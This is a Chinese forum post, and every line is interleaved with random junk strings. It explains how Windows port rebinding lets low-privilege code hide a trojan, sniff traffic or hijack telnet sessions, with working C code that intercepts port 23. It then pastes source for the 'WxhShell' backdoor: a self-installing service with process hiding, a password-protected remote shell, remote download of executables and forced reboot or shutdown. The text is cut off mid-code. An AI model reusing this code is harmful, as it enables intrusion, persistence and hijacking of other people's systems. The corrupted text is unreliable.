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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Cp6S2v I  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3I_^F&T  
pg4W?N`  
  saddr.sin_family = AF_INET; % /VCjuV  
c MXv  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qTr P@F4`g  
m-vn5OX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K)7T]z`  
l< f9$l^U  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8(L$a1#5W  
25$_tZP AI  
  这意味着什么?意味着可以进行如下的攻击: X8$Mzeq  
>u&D@7~c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .d]/:T -0  
P0,]`w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IR6W'vA  
@MES.g  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (Xh <F  
AafS6]y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $^ee~v;m4  
?,>3uD#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lFjz*g2'  
dFy$w=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 YsVmU  
](w)e p~;3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 XB7Aa)  
/Sw~<B!8N  
  #include EAGvP&~P  
  #include hv|a8=U!R  
  #include ny5 P*yWEh  
  #include    [iub}e0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9|1msg4  
  int main() $r/$aq=K  
  { :> 0ywg  
  WORD wVersionRequested; pAE (i7  
  DWORD ret; yV(#z2|  
  WSADATA wsaData; ]F4QZV( M  
  BOOL val; ,|:.0g[n  
  SOCKADDR_IN saddr; gwoe1:F:J  
  SOCKADDR_IN scaddr; *#T: _  
  int err; S hI1f  
  SOCKET s; HAxLYun(3w  
  SOCKET sc; mr\,"S-`  
  int caddsize; |nefg0`rk  
  HANDLE mt; (,U|H`  
  DWORD tid;   i%K6<1R;y{  
  wVersionRequested = MAKEWORD( 2, 2 ); 3^7+fxYWo  
  err = WSAStartup( wVersionRequested, &wsaData ); oMQ4q{&|  
  if ( err != 0 ) { An. A1y  
  printf("error!WSAStartup failed!\n"); xE:jcA d$}  
  return -1; 1=R$ RI  
  } 4=L>  
  saddr.sin_family = AF_INET; L|CdTRgRCB  
   $ZM'dIk?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #n>U7j9`O  
4z0gyCAC A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .l1x~(  
  saddr.sin_port = htons(23); ?+t;\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [ohLG_9  
  { |]?f6^ |4  
  printf("error!socket failed!\n"); F1#{(uW  
  return -1; T+Z[&|  
  } J4T"O<i$58  
  val = TRUE; >3!~U.AA'x  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c RLw)"|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,HZ%q]*:~  
  { ):$KM{X  
  printf("error!setsockopt failed!\n"); g0B] ;Y>(  
  return -1; & FhJ%JK  
  } t1w5U+z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zZCl]cql  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >+M[!;m}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 FRQ.ix2  
{-4+=7Sg1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xt^1,V4Ei~  
  { }Va((X w  
  ret=GetLastError(); /wJ#-DZ  
  printf("error!bind failed!\n"); nwFBuP<LR  
  return -1; MQoA\  
  } }~ D WB"  
  listen(s,2); qp})4XTv  
  while(1) QX=TuyO  
  { JwSF}kNs}  
  caddsize = sizeof(scaddr); hxoajexU  
  //接受连接请求 Cbff:IP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); oco,sxT  
  if(sc!=INVALID_SOCKET) vi##E0,N'^  
  { tWIOy6`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hEZvi   
  if(mt==NULL) *K/K97  
  { 5iA>Z!sP[  
  printf("Thread Creat Failed!\n"); I$; `^z  
  break; l U/Xi  
  } Y#F.{ i  
  } ;M~,S^U  
  CloseHandle(mt); cY5&1Shb~  
  } 05wkUo:9  
  closesocket(s); X:W\EeH  
  WSACleanup(); ;J W ]b]  
  return 0; )E9!m  
  }   2.v{W-D[  
  DWORD WINAPI ClientThread(LPVOID lpParam) AU9C#;JD  
  { jEBn"]\D  
  SOCKET ss = (SOCKET)lpParam; oMbd1uus  
  SOCKET sc; q;e b  
  unsigned char buf[4096]; #/YS  
  SOCKADDR_IN saddr; kLgkUck8]  
  long num; apL$`{>US  
  DWORD val; aO1^>hy  
  DWORD ret; |Hf|N$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lh;fqn`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z*},N$2=  
  saddr.sin_family = AF_INET; fpf]qQ W~7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Yi Zk|K_  
  saddr.sin_port = htons(23); al[^pPKZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i@rtt M  
  { [icD*N<Gc  
  printf("error!socket failed!\n"); x#0?$}f<  
  return -1; 'yiv.<4  
  } D6VdgU|  
  val = 100; E)*ht;u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &wQ;J)13  
  { edL2ax  
  ret = GetLastError(); !ZTghX}D  
  return -1; Jqxd92 bI  
  } "1a;);S=*)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7NvKp inQ  
  { gv67+Mf  
  ret = GetLastError(); 9Q9{>d#"  
  return -1; ("a@V8M`$F  
  } ~R|9|k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) IHEbT   
  { XUP{]w`.Z  
  printf("error!socket connect failed!\n"); xa)p ,  
  closesocket(sc); =;Q/bD->  
  closesocket(ss); 0qN`-0Yk  
  return -1; _mm(W=KiL  
  }  ] 2 `%i5  
  while(1) 'Ix@<$~i3F  
  { l= {Y[T&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j@4MV^F2c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 cW*v))@2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5UQ {qm*Q  
  num = recv(ss,buf,4096,0); fqI67E$59  
  if(num>0) MFq?mZ,  
  send(sc,buf,num,0); aU6l>G`w  
  else if(num==0) ]wid;<  
  break; 7T/BzXr,B  
  num = recv(sc,buf,4096,0); \c\~k0u  
  if(num>0) iy~h|YK;  
  send(ss,buf,num,0); 'w ,gYW  
  else if(num==0) KS*,'hvY  
  break; 5t%8y!s  
  } *EuX7LEu_  
  closesocket(ss); l,o'J%<%  
  closesocket(sc); 1m5l((d  
  return 0 ; Ey7zb#/<!  
  } O>DS%6/G  
ZLzc\>QX  
[63\2{_^v  
========================================================== icb)JZ1K  
|:C0_`M9  
下边附上一个代码,,WXhSHELL s)WA9PiC  
~\am%r>  
========================================================== v? ."`,e  
V0^{Ss1M  
#include "stdafx.h" &5y  
^}P94(oz  
#include <stdio.h> 1o&zA<+NY  
#include <string.h> xN*k&!1&  
#include <windows.h> $.D )Llcq  
#include <winsock2.h> I0x)d`  
#include <winsvc.h> ,yC..aI  
#include <urlmon.h> K<^p~'f4P  
"mQp#d/'  
#pragma comment (lib, "Ws2_32.lib") a]p9 [Nk  
#pragma comment (lib, "urlmon.lib") VJ\qp%  
+c% jOl  
#define MAX_USER   100 // 最大客户端连接数 T+L=GnYl  
#define BUF_SOCK   200 // sock buffer az ZtuDfv  
#define KEY_BUFF   255 // 输入 buffer O84:ejro  
'xta/@Sq  
#define REBOOT     0   // 重启 aV$kxzEc  
#define SHUTDOWN   1   // 关机 mo^E8t.  
,ciX *F"  
#define DEF_PORT   5000 // 监听端口 ?t%{2a<X  
9]v,3'QI  
#define REG_LEN     16   // 注册表键长度 !L.R"8!  
#define SVC_LEN     80   // NT服务名长度 ?3~t%Q`  
vb[0H{TT2  
// 从dll定义API g(pr.Dw6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (#y2R F8j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); __b4dv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $1ovT8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Md4Q.8  
?EC\ .{  
// wxhshell配置信息 '1D $ ;  
struct WSCFG { 1 3 ]e< '  
  int ws_port;         // 监听端口 *IOrv)  
  char ws_passstr[REG_LEN]; // 口令 X| \`\[  
  int ws_autoins;       // 安装标记, 1=yes 0=no :;_}Gxx  
  char ws_regname[REG_LEN]; // 注册表键名 B& @ pZYl  
  char ws_svcname[REG_LEN]; // 服务名 @RPQ 1da  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AZ(zM.y!#_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BI%^7\HZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {#kCqjWG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I3 "6"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GeJ}myD O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s'yR 2JYv  
HN7tIz@Frc  
}; /k/X[/WO  
>c_fUX={  
// default Wxhshell configuration oJD]h/fQs  
struct WSCFG wscfg={DEF_PORT, /W .s1N  
    "xuhuanlingzhe", 9}QIqH\p  
    1, z6)N![ X  
    "Wxhshell", UJ,vE}=_{  
    "Wxhshell", Lk|`\I T  
            "WxhShell Service", f+9WGNpw  
    "Wrsky Windows CmdShell Service", E"'u2jEG^  
    "Please Input Your Password: ", HWV A5E[`Y  
  1, ogIu\kiZ  
  "http://www.wrsky.com/wxhshell.exe", EmaS/]X[  
  "Wxhshell.exe" -r,v3n  
    }; 5Xr})%L  
6/ 5c|  
// 消息定义模块 nl}LT/N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LBq2({="  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ftpPrtaP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a+HK fK  
char *msg_ws_ext="\n\rExit."; O#k; O*s'  
char *msg_ws_end="\n\rQuit."; |= cc>]  
char *msg_ws_boot="\n\rReboot..."; X'b3CS4  
char *msg_ws_poff="\n\rShutdown..."; cO]w*Hti  
char *msg_ws_down="\n\rSave to "; rmggP(  
2pmj*Y3"8  
char *msg_ws_err="\n\rErr!"; .u\$wJ9Ai  
char *msg_ws_ok="\n\rOK!"; (.=ig X  
7>z {2D  
char ExeFile[MAX_PATH]; j*>Df2z  
int nUser = 0; ]*P9=!x|M  
HANDLE handles[MAX_USER]; gHc1_G]  
int OsIsNt; ;:Z5Ft m  
2T}>9X  
SERVICE_STATUS       serviceStatus; ~D@YLW1z(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tf6-DmMH  
`Njvk  
// 函数声明 YCE *Dm  
int Install(void); OK v2..8  
int Uninstall(void); J-/w{T8:  
int DownloadFile(char *sURL, SOCKET wsh); 5wW5 n5YS  
int Boot(int flag); +%j27~ R>D  
void HideProc(void); Ej)7[  
int GetOsVer(void); L{VnsY V  
int Wxhshell(SOCKET wsl); y0Gblza  
void TalkWithClient(void *cs); c$,1j%[)  
int CmdShell(SOCKET sock); ^;ZpK@Luk  
int StartFromService(void); -HGRrWS  
int StartWxhshell(LPSTR lpCmdLine); 4 .c1  
8H-yT1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c $r"q :\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k9oi8G'g~  
SrH::-{  
// 数据结构和表定义 @p~scE.#\  
SERVICE_TABLE_ENTRY DispatchTable[] = x%`YV):*  
{ #w%-IhP  
{wscfg.ws_svcname, NTServiceMain}, x2t&Wpvt  
{NULL, NULL} sN8pwRjb  
}; ##BbR  
Csy$1;"A  
// 自我安装 HI{q#  
int Install(void) xTu J~$(  
{ m-$}'mEO  
  char svExeFile[MAX_PATH]; EpO2%|@  
  HKEY key; @;Jv/N6@  
  strcpy(svExeFile,ExeFile); WZ>nA[/  
dhA~Yu  
// 如果是win9x系统,修改注册表设为自启动 2]?=\_T  
if(!OsIsNt) { LZ_0=Xx%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T16gq-h'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;_SSR8uHv  
  RegCloseKey(key); ]e),#_M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "p3<-06  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %y9sC1T  
  RegCloseKey(key); L7{}`O/g7  
  return 0; 6)0.q|Q  
    } ;v\s7y  
  } M.,DXEZT  
} q 8sfG;)  
else { sgP{A}4 W  
CR23$<FC  
// 如果是NT以上系统,安装为系统服务 .]h/M,xg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lCUYE"o  
if (schSCManager!=0)  !AJkd.  
{ -5  
  SC_HANDLE schService = CreateService ~5N oR  
  ( _f";zd  
  schSCManager, pTi7Xy!Cw  
  wscfg.ws_svcname, 9tv,,I;iU  
  wscfg.ws_svcdisp, bwhH2^ !  
  SERVICE_ALL_ACCESS, q++\< \2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n_; s2,2r  
  SERVICE_AUTO_START, $.C-_L  
  SERVICE_ERROR_NORMAL, >U`G3(#7S  
  svExeFile, >v, si].  
  NULL, pl3ap(/  
  NULL, $adZ|Q\  
  NULL, B(1-u!pz  
  NULL, @Q,Q"c2  
  NULL O!nS3%De  
  ); ^CLQs;zXE  
  if (schService!=0) s !?uLSEdb  
  { *GoTN  
  CloseServiceHandle(schService); ssLswb  
  CloseServiceHandle(schSCManager); >w<w*pC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XxMZU(5  
  strcat(svExeFile,wscfg.ws_svcname); TaD;_)(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gIz!~I_U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V'{\g|)  
  RegCloseKey(key); 3 e'6A^#  
  return 0; hsY?og_H  
    } o$</At  
  } jr0j0$BF  
  CloseServiceHandle(schSCManager); d2Q*1Q@u  
} @k h<b<a4  
} 4 j=K3m  
JqMF9|{H  
return 1; hZHM5J~  
} -_Z4)"k  
DqQ p47kp  
// 自我卸载 _rB,N#{2R=  
int Uninstall(void) -GFZFi  
{ ;<Z6Y3>I8  
  HKEY key; :p}8#rb  
/a^ R$RHl'  
if(!OsIsNt) { Rs5lL-I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l90"1I A  
  RegDeleteValue(key,wscfg.ws_regname); C^L xuUW  
  RegCloseKey(key); ;DK%!."%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $2h%IK>#G  
  RegDeleteValue(key,wscfg.ws_regname); E>]K#H  
  RegCloseKey(key); J6s]vV q"  
  return 0; -ymDRoi  
  } zsJ# CDm  
} p" >*WQ   
} f/O6~I&g  
else { 0)Ephsw  
!Nx1I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {>1FZsR49t  
if (schSCManager!=0) ?v M9 !  
{ r~)fAb?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T8A(W  
  if (schService!=0) 3:nBl?G<  
  { ?Q-Tyf$3  
  if(DeleteService(schService)!=0) { 9r]|P}yuS  
  CloseServiceHandle(schService); w1"+HJd  
  CloseServiceHandle(schSCManager); a)ry}E =f  
  return 0; 4{F1GW  
  } ErNYiYLi]  
  CloseServiceHandle(schService); Oq.ss!/z  
  } gEj#>=s  
  CloseServiceHandle(schSCManager); ?'P}ZC8P  
} e9[72V  
} J;obh.}u"{  
dW4jkjap  
return 1; [y@*vQw  
} a,vS{434J  
}?9&xVh?\  
// 从指定url下载文件 T3P9  
int DownloadFile(char *sURL, SOCKET wsh) KCTX2eNN&h  
{  %nY\"  
  HRESULT hr; Pt"H_SW~k  
char seps[]= "/"; 'M>m$cCMZ  
char *token; _aPAn|.  
char *file; =lJ ?yuc  
char myURL[MAX_PATH]; "wOfs$w%s  
char myFILE[MAX_PATH]; 4`#Q  
)k,n}  
strcpy(myURL,sURL); DSz[,AaR]  
  token=strtok(myURL,seps); nU_O|l9  
  while(token!=NULL) 5&n{QE?Um  
  { OtqFI!ns  
    file=token; {3`385  
  token=strtok(NULL,seps); 4=tR_s  
  } 'vBZh1`p  
:_R:>n9 p  
GetCurrentDirectory(MAX_PATH,myFILE); Os"('@jd>  
strcat(myFILE, "\\"); &Pr\n&9A  
strcat(myFILE, file); hU#e\L 7  
  send(wsh,myFILE,strlen(myFILE),0); 2 DW @}[G  
send(wsh,"...",3,0); v3-' G gM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E7A!,A&>  
  if(hr==S_OK) }'x;J   
return 0; GkJcd;  
else 3^y(@XFt  
return 1; @zg}x0]  
)J S6W  
} >-A@6Qe_  
f(5(V %  
// 系统电源模块 p +i 1sY  
int Boot(int flag) 4qie&:4j  
{ F]3Y,{/V  
  HANDLE hToken; s7Agr!>f  
  TOKEN_PRIVILEGES tkp; B`}um;T#~,  
P'Rw/c o  
  if(OsIsNt) { NGc~%0n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *V6| FU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '{d@Gc6.  
    tkp.PrivilegeCount = 1; B'}?cG]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p)IL(_X)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y>a?<*Y+e  
if(flag==REBOOT) { y'_8b=*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ym6d'd<9(  
  return 0; {.:$F3T  
} $6"(t=%{  
else { /d3Jd .l!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MoIh =rw  
  return 0; &$ h~Q  
} x z _sejKB  
  } 6TW7E }a.  
  else { n[ B~C  
if(flag==REBOOT) { =5+*TL`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qNEp3WY:  
  return 0; "bo0O7InOV  
} o:@Q1+p  
else { Urr%SIakvM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vQEV,d1  
  return 0; Tz]R}DKB&  
} P3_.U8g$r  
} CFaY=Cy  
OBWWcL-  
return 1; Y 2 @8B6  
} Pv'Q3O2<I  
?"d$SK"6Z  
// win9x进程隐藏模块 IP62|~Ap  
void HideProc(void) YQ+hQ:4-  
{ ]i*ucW4  
(GSP3KKo*G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Cu[-<>my  
  if ( hKernel != NULL ) (>v'0 RA  
  { \/NF??k,jk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ukWn@q*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @?3f`l 9  
    FreeLibrary(hKernel); BN_h3|)  
  } |9I)YD  
[oLV,O|s|j  
return; ^po@U"  
} gF)9a_R%p  
"%-Vrb=:Y  
// 获取操作系统版本 wX,V:QE  
int GetOsVer(void) <g[z jV9p  
{ %nZl`<M  
  OSVERSIONINFO winfo; Z?axrGmg0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hS]w A"\87  
  GetVersionEx(&winfo); ~G!JqdKJ0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YlHP:ZW-cu  
  return 1; @]@|H?  
  else _wq?Pa<)e  
  return 0; " 9Gn/-V>  
} <S@jf4  
:?t~|7O:  
// 客户端句柄模块 2c9?,Le/;  
int Wxhshell(SOCKET wsl) ]b4WfIu  
{ *M.xVUPr  
  SOCKET wsh; (eN7s_  
  struct sockaddr_in client; j6rNt|  
  DWORD myID; ";K w?  
>fPo_@O  
  while(nUser<MAX_USER) QZ a.c  
{ pO` KtagL  
  int nSize=sizeof(client); P49\A^5S!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @+u>rS|IB  
  if(wsh==INVALID_SOCKET) return 1; %M(RV_R+6  
c3vb~l)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cw Obq\  
if(handles[nUser]==0) aB]0?C y9(  
  closesocket(wsh); 2xI|G 3U  
else 4<efj  
  nUser++; `Fy-"Uf  
  } (j: ptQ2$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V>{< pS  
'YL[s  
  return 0; FwCb$yE#M  
} @YJI'Hf67  
:D.0\.p  
// 关闭 socket z|l*5@p  
void CloseIt(SOCKET wsh) + ?1GscJ   
{ 8Lo#{`  
closesocket(wsh); f[^f/jGm  
nUser--; K+B978XD  
ExitThread(0); %Sr+D{B  
} 7},A. q  
=CX1jrLZ  
// 客户端请求句柄 ^kez]>   
void TalkWithClient(void *cs) rd%%NnT"  
{ *IG$"nu  
5(1:^:LGK  
  SOCKET wsh=(SOCKET)cs; -3I3 X  
  char pwd[SVC_LEN]; $NXP)Lic)  
  char cmd[KEY_BUFF]; wKV4-uyr  
char chr[1]; J$dwy$n  
int i,j; D Ez,u^   
25^?|9o7  
  while (nUser < MAX_USER) { bF'rK'',  
-fR :W{u  
if(wscfg.ws_passstr) { }lJ;|kx$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hp\&g2_S0W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NxT"A)u  
  //ZeroMemory(pwd,KEY_BUFF); [|}IS@  
      i=0; C* 7/iRe  
  while(i<SVC_LEN) { {z#2gc'Q  
8%?y)K^ D  
  // 设置超时 K1B9t{T  
  fd_set FdRead; MmuT~d/  
  struct timeval TimeOut; kB\{1;  
  FD_ZERO(&FdRead); E~'mxx~i  
  FD_SET(wsh,&FdRead); x(_[D08/TT  
  TimeOut.tv_sec=8; K =g</@L6R  
  TimeOut.tv_usec=0; t}EM X9SQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gYpMwC{*d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ui{%q @  
v3tJtb^'!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bOS)vt*V  
  pwd=chr[0]; MK$u }G  
  if(chr[0]==0xd || chr[0]==0xa) { 'M90Yia  
  pwd=0; sp9gz~Kq  
  break; J=4>zQLW  
  } PNU(;&2<  
  i++; E-e(K8R  
    } U84W(X  
P]E-Wp'p  
  // 如果是非法用户,关闭 socket j0jl$^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q'2vE;z Kb  
} EE/mxN(<  
3a/n/_D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y.tx$%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4w4B\Na>l  
YO6BzS/~  
while(1) { cTqkM@S  
cNs'GfD}  
  ZeroMemory(cmd,KEY_BUFF); my=f}%k=  
RaZ>.5 D  
      // 自动支持客户端 telnet标准   92+8zX  
  j=0; c\bL_  
  while(j<KEY_BUFF) { {pzj@b 1S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0c_xPBbB+  
  cmd[j]=chr[0]; I`>U#x*  
  if(chr[0]==0xa || chr[0]==0xd) { v9$!v^U"D  
  cmd[j]=0; rr<E#w  
  break; >ZA=9v  
  } bp1AN9~  
  j++; .8hI ad  
    } 2h E(h  
Ia&R/I  
  // 下载文件 Uv^\[   
  if(strstr(cmd,"http://")) { 6Rd4waj_,U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &y[NC AeA  
  if(DownloadFile(cmd,wsh)) K%(y<%Xp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5~Y`ikwxL  
  else "L~(%Nx3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6|TSH$w_  
  } O 4 !$  
  else { E+td~&x  
hbjAxioA  
    switch(cmd[0]) { l,ENMKA^D  
  sdu?#O+c1  
  // 帮助 }`"`VLh  
  case '?': { 1^ iBS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8H F^^Cva  
    break; xU *:a[g  
  } !-gU~0  
  // 安装 ,Q`qnn&  
  case 'i': { %+7]/_JO&  
    if(Install()) @KG0QHyiU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0p.bmQSH  
    else g(7 -3q8eq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "4j~2{{ F  
    break; @@EI=\  
    } gcLz}84  
  // 卸载 4s\spvJ  
  case 'r': { yDWIflP0;  
    if(Uninstall()) ]B8 A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0.aXg"  
    else ]rcF/uQJ<n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0=d2_YzSf  
    break; "S#F I  
    } ^?z%f_ri  
  // 显示 wxhshell 所在路径 8hRcB[F~S  
  case 'p': { 1MelHW  
    char svExeFile[MAX_PATH]; v=`yfCX-qX  
    strcpy(svExeFile,"\n\r"); x2"iZzQlD  
      strcat(svExeFile,ExeFile); LQ0/oYmNc  
        send(wsh,svExeFile,strlen(svExeFile),0); yNu_>!Cp5  
    break; {.Tx70kn  
    } ^l &lwSRVt  
  // 重启 6( HF)z  
  case 'b': { [P$Xr6#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UA[`{rf  
    if(Boot(REBOOT)) DM.lQ0xk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r8k(L{W  
    else { $KHm5*;nd  
    closesocket(wsh); xn8K OwX%  
    ExitThread(0); jU,Xlgz(A  
    } =8^+M1I  
    break; OLw]BJXYaE  
    } xm'9n?  
  // 关机 @sXFu[!U  
  case 'd': { _1" ecaA  
